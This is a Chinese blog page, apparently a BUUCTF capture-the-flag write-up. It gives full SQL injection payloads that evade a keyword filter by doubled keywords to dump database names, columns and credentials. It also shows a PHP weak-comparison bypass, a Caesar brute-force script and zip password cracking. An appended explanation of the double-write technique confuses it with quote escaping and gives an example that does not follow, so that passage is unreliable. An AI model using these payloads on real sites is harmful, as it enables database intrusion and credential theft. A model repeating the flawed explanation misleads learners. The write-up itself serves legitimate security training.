BUUCTF-sql双写绕过

WEB

[极客大挑战 2019]BabySQL

打开环境 查看什么类型

输入

输入1'
username='1''&password='1''

字符型

我们开始尝试万能密码

1' or 1=1-- +

 

发现返回的东西和我们输入不一样  or没了

过滤了or 

这个是关键 我们使用双写绕过

1' oorr 1=1-- +

 得到了账号密码

我们开始sql注入

1. 字段数

username=admin&password=''1' order by 4-- +''

 发现or 过滤了 我们看看

1' oorrder by 4-- +

还是报错 我们接着看看是不是过滤了 by 因为如果过滤了der 他会返回or

1' oorrder bbyy 4-- +

成功了 三个字段

我们开始爆破数据库

0' union select 1,2,database()-- +    报错'1,2,database()-- '

0' ununion select 1,2,database()-- +   报错'un 1,2,database()-- ''

0' ununionion seselectlect 1,2,database()-- +

得到数据库名 geek

开始爆表

0' ununionion seselectlect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema='geek'-- +

经过尝试 union select  or from where 都过滤了 

开始爆数据

0' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'-- +


0' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'-- +

都是返回这些名

0' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd)frfromom geek.b4bsql-- +

得到flag

[ACTF2020 新生赛]BackupFile

打开环境

让我们找源文件 

我们想到

index.php.bak

下载成功

我们得到备份文件

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

这里就得到绕过两个 一个是is_numeric() 另一个是==

!is_numeric():
如果为数字或者数字字符串 True
如果不是 返回 false
!0=1
所以我们需要这个是数字或者数字字符串


==
'123a'==123 True

这样就很简单了

key=123



123为数字 所以
!is_numeric() 绕过


因为==弱比较
所以

123=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 true

得到flag

Crypto

Alice与Bob

 http://www.jsons.cn/quality/

 合并

101999966233

CTF在线工具-哈希计算|MD5、SHA1、SHA256、SHA384、SHA512、RIPEMD、RIPEMD160

进行MD5计算

 大帝的密码武器

下载得到题目和密文 意思就是让我们解密题目 然后取得偏移量 然后在加密密文

str1 = 'FRPHEVGL'
str2 = str1.lower()
num = 1
for i in range(26):
    print("{:<2d}".format(num),end = ' ')
    for j in str2:
        if(ord(j)+num > ord('z')):
            print(chr(ord(j)+num-26),end='')
        else:
            print(chr(ord(j)+num),end='')
    num += 1
    print('')

使用代码取得26次的解密

偏移量为13 的时候得到单词 

我们把密文加密 偏移量为13

提交flag

Misc

ningen

改后缀 为zip

暴力破解

小明的保险箱

同理

爱因斯坦

下载文件 查看属性

 提到password 说明加密

我们改后缀

 没有提示 只有刚刚的那个not password 试一试

得到flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入双写绕过是一种SQL注入攻击的技术手段,用于绕过一些简单的防御机制。其原理如下: 1. SQL注入简介:SQL注入是一种常见的安全漏洞,攻击者通过在用户输入的数据中插入恶意的SQL代码,从而执行非法的数据库操作。这些恶意代码可以修改、删除或者泄露数据库中的数据。 2. 双写绕过原理:在一些情况下,开发人员会对用户输入进行简单的过滤,例如替换特殊字符或者转义字符。然而,攻击者可以利用这种过滤机制中的漏洞,通过双写绕过绕过过滤。 - 双写:攻击者可以利用某些字符的特性,在输入中使用两个相同的字符来绕过过滤。例如,如果过滤机制将单引号(')替换为两个单引号(''),那么攻击者可以在输入中使用两个单引号来绕过过滤。 - 绕过:通过使用双写绕过过滤,攻击者可以成功地插入恶意的SQL代码,从而执行非法的数据库操作。 3. 示例:假设有一个登录页面,用户需要输入用户名和密码进行登录。开发人员对用户输入进行了简单的过滤,将单引号替换为两个单引号。攻击者可以利用双写绕过绕过这个过滤机制。 - 原始查询:SELECT * FROM users WHERE username = 'admin' AND password = 'password' - 过滤后的查询:SELECT * FROM users WHERE username = 'admin'' AND password = 'password' 攻击者可以在用户名输入框中输入 `' OR '1'='1`,这样在拼接SQL语句时,会变成: SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'password' 这样,攻击者成功绕过了过滤机制,并且可以登录到管理员账户。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值